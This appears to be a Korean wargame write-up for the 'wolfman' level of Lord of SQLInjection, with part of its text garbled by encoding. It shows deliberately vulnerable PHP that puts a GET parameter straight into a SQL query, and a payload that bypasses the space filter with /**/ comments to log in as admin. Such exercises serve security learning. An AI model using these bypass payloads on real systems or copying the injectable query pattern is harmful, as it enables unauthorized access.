<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~");
$query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("wolfman");
highlight_file(__FILE__);
?>
์ฝ๋๋ฅผ ๋ณด๋ฉด, ๊ณต๋ฐฑ์ ํํฐ๋งํ๋ ๊ฒ์ ์ ์ ์๋ค.
๊ณต๋ฐฑ์ ์ฐํํ๋ ๋ฐฉ๋ฒ์ (), /**/, %0a๋ฑ ์ฌ๋ฌ๊ฐ์ง ๋ฐฉ๋ฒ์ด ์๋๋ฐ
()๊ฐ ํํฐ๋ง๋ ๊ด๊ณ๋ก, /**/์ ์ฌ์ฉํ์ฌ ํ๊ฒ์ด๋ค.
?pw=1'or/**/id='admin
ํด๊ฒฐ๐
'wargame ๐ดโโ ๏ธ write-up > Lord of SQLInjection' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
orge (0) | 2022.04.02 |
---|---|
darkelf (0) | 2022.04.02 |
orc (0) | 2022.04.02 |
goblin (0) | 2022.04.02 |